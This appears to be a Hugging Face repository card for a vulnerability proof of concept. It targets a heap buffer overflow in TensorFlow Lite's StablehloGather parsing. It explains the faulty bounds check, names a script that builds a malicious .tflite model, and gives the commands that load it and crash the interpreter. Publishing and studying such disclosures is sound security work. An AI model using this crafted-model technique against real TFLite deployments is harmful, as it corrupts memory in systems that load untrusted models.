YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

TFLite StablehloGather Heap Buffer Overflow PoC

CVE: TBD (submitted to Huntr) Target: TFLite (.tflite) – Google / TensorFlow 2.19.0 Vulnerability: Heap buffer overflow in ParseStablehloGather() β†’ SIGABRT (exit 134)

Root Cause

ParseStablehloGather() in flatbuffer_conversions.cc calls FlatBufferIntVectorToArray() with max_size_of_buffer = schema_params->offset_dims()->size() * sizeof(int64_t) β€” a self-referential bound (source size, not destination capacity). The overflow guard num_dimensions > max_size_of_buffer/sizeof(T) reduces to size > size = always false.

Destination: TfLiteStablehloGatherParams::offset_dims[8] (64 bytes) Sending 64 entries writes 512 bytes β†’ overflows 448 bytes into adjacent heap memory.

Files

  • tflite_poc.py β€” generates the malicious .tflite model
  • tflite_gather_overflow.tflite β€” pre-built payload (64 offset_dims)

Trigger

pip install tensorflow flatbuffers tflite
python3 tflite_poc.py
python3 -c "
import tensorflow as tf, numpy as np
i = tf.lite.Interpreter('tflite_gather_overflow.tflite')
i.allocate_tensors()
i.set_tensor(0, np.zeros([4], dtype=np.float32))
i.set_tensor(1, np.zeros([1,1], dtype=np.int32))
i.invoke()
"
# β†’ exit 134 (SIGABRT)
Downloads last month
14
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support